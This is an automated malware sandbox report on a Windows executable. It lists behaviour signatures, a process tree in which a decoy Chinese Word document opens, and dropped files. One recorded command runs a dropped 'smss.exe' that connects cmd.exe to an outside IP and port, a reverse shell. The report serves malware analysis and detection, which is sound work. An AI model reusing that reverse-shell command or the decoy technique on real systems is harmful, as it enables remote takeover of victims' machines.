Analysis
- max time kernel
170s - max time network
172s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
- submitted
01/11/2022, 11:13
General
- Target 7ddbc16448c921c76e4c99551d894c25.exe
- Size 184KB
- Sample221101-nblllacbhq
- SHA256 109b0bb2e7b96dbe6e619b381b3f3637eed4ead40057b5b08be7f3ba6b354093
Malware Config
Signatures
- Downloads MZ/PE file
- Executes dropped EXE 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Kills process with taskkill 1 IoCs
- Modifies registry class 1 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 54 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 11 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\7ddbc16448c921c76e4c99551d894c25.exe"C:\Users\Admin\AppData\Local\Temp\7ddbc16448c921c76e4c99551d894c25.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\taskkill.exetaskkill /f /im:"cmd.exe"2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Microsoft Temp\住房公积金管理条例.docx" /o ""2⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
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C:\Users\Admin\AppData\Local\Microsoft Temp\smss.exe"C:\Users\Admin\AppData\Local\Microsoft Temp\smss.exe" -e cmd.exe 110.40.175.68 555552⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.execmd.exe3⤵
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
smss.exe
smss.exe
住房公积金管理条例.docx
memory/4728-142-0x00007FFEC6450000-0x00007FFEC6460000-memory.dmp
memory/4728-145-0x00007FFEC6450000-0x00007FFEC6460000-memory.dmp
memory/4728-152-0x00007FFEC6450000-0x00007FFEC6460000-memory.dmp
memory/4728-141-0x00007FFEC6450000-0x00007FFEC6460000-memory.dmp
memory/4728-153-0x00007FFEC6450000-0x00007FFEC6460000-memory.dmp
memory/4728-143-0x00007FFEC6450000-0x00007FFEC6460000-memory.dmp
memory/4728-151-0x00007FFEC6450000-0x00007FFEC6460000-memory.dmp
memory/4728-144-0x00007FFEC6450000-0x00007FFEC6460000-memory.dmp
memory/4728-146-0x00007FFEC40F0000-0x00007FFEC4100000-memory.dmp
memory/4728-147-0x00007FFEC40F0000-0x00007FFEC4100000-memory.dmp
memory/4728-150-0x00007FFEC6450000-0x00007FFEC6460000-memory.dmp
memory/4916-133-0x0000000005720000-0x00000000057BC000-memory.dmp
memory/4916-132-0x0000000000D90000-0x0000000000DC4000-memory.dmp
memory/4916-135-0x0000000005EB0000-0x0000000006454000-memory.dmp